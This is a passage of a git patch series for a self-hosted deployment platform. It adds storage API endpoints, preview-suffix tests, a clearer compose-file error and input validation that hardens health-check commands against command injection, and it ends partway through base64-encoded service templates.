$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + // All uuid references in label functions should use $labelUuid + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); +}); + +it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); + +it('checks is_preview_suffix_enabled in deployment job for volume names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes_only_volume_names method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); From c9861e08e359566ef8f97862b65f8d9d8ec77a78 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:13:36 +0100 Subject: [PATCH 213/305] fix(preview): sync isPreviewSuffixEnabled property on file storage save --- app/Livewire/Project/Service/FileStorage.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 33b32989a..71da07eb0 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -181,6 +181,7 @@ public function submit() // Sync component properties to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); $this->fileStorage->saveStorageOnServer(); $this->dispatch('success', 'File updated.'); From 0488a188a0ce6af0a82e933b78c74b08b2254e46 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:34:27 +0100 Subject: [PATCH 214/305] feat(api): add storages endpoints for applications Add GET and PATCH /applications/{uuid}/storages routes to list and update persistent and file storages for an application, including support for toggling is_preview_suffix_enabled. --- .../Api/ApplicationsController.php | 187 ++++++++++++++++++ openapi.json | 111 +++++++++++ openapi.yaml | 74 +++++++ routes/api.php | 2 + 4 files changed, 374 insertions(+) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 4b0cfc6ab..a6609eb47 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3919,4 +3919,191 @@ private function validateDataApplications(Request $request, Server $server) } } } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'list-storages-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by application UUID.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('view', $application); + + $persistentStorages = $application->persistentStorages->sortBy('id')->values(); + $fileStorages = $application->fileStorages->sortBy('id')->values(); + + return response()->json([ + 'persistent_storages' => $persistentStorages, + 'file_storages' => $fileStorages, + ]); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'update-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['id', 'type'], + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function update_storage(Request $request) + { + $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('update', $application); + + $validator = customApiValidator($request->all(), [ + 'id' => 'required|integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->type === 'persistent') { + $storage = $application->persistentStorages->where('id', $request->id)->first(); + } else { + $storage = $application->fileStorages->where('id', $request->id)->first(); + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + $storage->save(); + + return response()->json($storage); + } } diff --git a/openapi.json b/openapi.json index f5d9813b3..13f745e11 100644 --- a/openapi.json +++ b/openapi.json @@ -3442,6 +3442,117 @@ ] } }, + "\/applications\/{uuid}\/storages": { + "get": { + "tags": [ + "Applications" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by application UUID.", + "operationId": "list-storages-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by application UUID." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Applications" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by application UUID.", + "operationId": "update-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "id", + "type" + ], + "properties": { + "id": { + "type": "integer", + "description": "The ID of the storage." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index 81753544f..7ee406c99 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2170,6 +2170,80 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/storages': + get: + tags: + - Applications + summary: 'List Storages' + description: 'List all persistent storages and file storages by application UUID.' + operationId: list-storages-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by application UUID.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - Applications + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by application UUID.' + operationId: update-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated.' + required: true + content: + application/json: + schema: + required: + - id + - type + properties: + id: + type: integer + description: 'The ID of the storage.' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + type: object + responses: + '200': + description: 'Storage updated.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: diff --git a/routes/api.php b/routes/api.php index 8b28177f3..b02682a5b 100644 --- a/routes/api.php +++ b/routes/api.php @@ -120,6 +120,8 @@ Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); + Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); + Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); From 9d745fca75098d76f2ab69ef8049a8d476fe9fc0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:37:46 +0100 Subject: [PATCH 215/305] feat(api): expand update_storage to support name, mount_path, host_path, content fields Add support for updating additional storage fields via the API while enforcing read-only restrictions for storages managed by docker-compose or service definitions (only is_preview_suffix_enabled remains editable for those). --- .../Api/ApplicationsController.php | 48 +++++++++++++++++-- openapi.json | 20 +++++++- openapi.yaml | 16 ++++++- 3 files changed, 79 insertions(+), 5 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index a6609eb47..6521ef7ba 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -4005,7 +4005,7 @@ public function storages(Request $request) ), ], requestBody: new OA\RequestBody( - description: 'Storage updated.', + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', required: true, content: [ new OA\MediaType( @@ -4017,6 +4017,10 @@ public function storages(Request $request) 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], ), ), @@ -4043,7 +4047,6 @@ public function storages(Request $request) )] public function update_storage(Request $request) { - $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4069,9 +4072,14 @@ public function update_storage(Request $request) 'id' => 'required|integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', + 'name' => 'string', + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', ]); - $extraFields = array_diff(array_keys($request->all()), $allowedFields); + $allAllowedFields = ['id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); if ($validator->fails() || ! empty($extraFields)) { $errors = $validator->errors(); if (! empty($extraFields)) { @@ -4098,10 +4106,44 @@ public function update_storage(Request $request) ], 404); } + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; } + // Only for editable storages + if (! $isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + $storage->save(); return response()->json($storage); diff --git a/openapi.json b/openapi.json index 13f745e11..d1dadcaf0 100644 --- a/openapi.json +++ b/openapi.json @@ -3500,7 +3500,7 @@ } ], "requestBody": { - "description": "Storage updated.", + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", "required": true, "content": { "application\/json": { @@ -3525,6 +3525,24 @@ "is_preview_suffix_enabled": { "type": "boolean", "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 7ee406c99..74af3aa13 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2212,7 +2212,7 @@ paths: schema: type: string requestBody: - description: 'Storage updated.' + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' required: true content: application/json: @@ -2231,6 +2231,20 @@ paths: is_preview_suffix_enabled: type: boolean description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' type: object responses: '200': From 1b0b230de20856defea3a4823a3ff36e9c816ad7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:39:24 +0100 Subject: [PATCH 216/305] fix(compose): include git branch in compose file not found error Add the git branch to the "Docker Compose file not found" error message to help diagnose cases where the file exists on one branch but not the checked-out branch. --- app/Models/Application.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/Models/Application.php b/app/Models/Application.php index 82e4d6311..4cc2dcf74 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1732,7 +1732,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { @@ -1793,7 +1793,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } From 0ffcee7a4dcd24f92b5fab8c9c7be140b9532733 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 16:40:16 +0100 Subject: [PATCH 217/305] Squashed commit from '4fhp-investigate-os-command-injection' --- app/Jobs/ApplicationDeploymentJob.php | 18 +++-- templates/service-templates-latest.json | 36 ++++++++- templates/service-templates.json | 36 ++++++++- .../Unit/HealthCheckCommandInjectionTest.php | 76 ++++++++++++++++++- 4 files changed, 149 insertions(+), 17 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index f84cdceb9..cbec016e9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2781,9 +2781,15 @@ private function generate_healthcheck_commands() // Handle CMD type healthcheck if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); - $this->full_healthcheck_url = $command; - return $command; + // Defense in depth: validate command at runtime (matches input validation regex) + if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) { + $this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.'); + } else { + $this->full_healthcheck_url = $command; + + return $command; + } } // HTTP type healthcheck (default) @@ -2804,16 +2810,16 @@ private function generate_healthcheck_commands() : null; $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); - $method = escapeshellarg($method); + $escapedMethod = escapeshellarg($method); if ($path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/"; } $generated_healthchecks_commands = [ - "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + "curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", ]; return implode(' ', $generated_healthchecks_commands); diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA